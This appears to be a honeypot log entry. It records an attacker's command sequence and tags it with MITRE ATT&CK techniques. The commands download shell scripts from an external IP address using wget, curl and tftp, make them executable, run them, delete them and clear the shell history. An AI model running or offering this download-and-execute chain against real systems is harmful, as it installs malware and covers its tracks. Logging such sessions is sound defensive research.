Honeypot attack session (period 2021_2022), commands issued:
wget http://109.104.151.108/mtr.sh; busybox wget http://109.104.151.108/mtr.sh; curl -O http://109.104.151.108/mtr.sh; chmod +x mtr.sh; sh mtr.sh; tftp 109.104.151.108 -c get mtr1.sh; chmod 777 mtr1.sh; sh mtr1.sh; tftp -r mtr2.sh -g 109.104.151.108; chmod 777 mtr2.sh; sh mtr2.sh; rm -rf *.sh; history -c

MITRE ATT&CK techniques observed:
T1105 Ingress Tool Transfer
T1027 Obfuscated Files or Information
T1222 File and Directory Permissions Modification
T1059 Command and Scripting Interpreter
T1070 Indicator Removal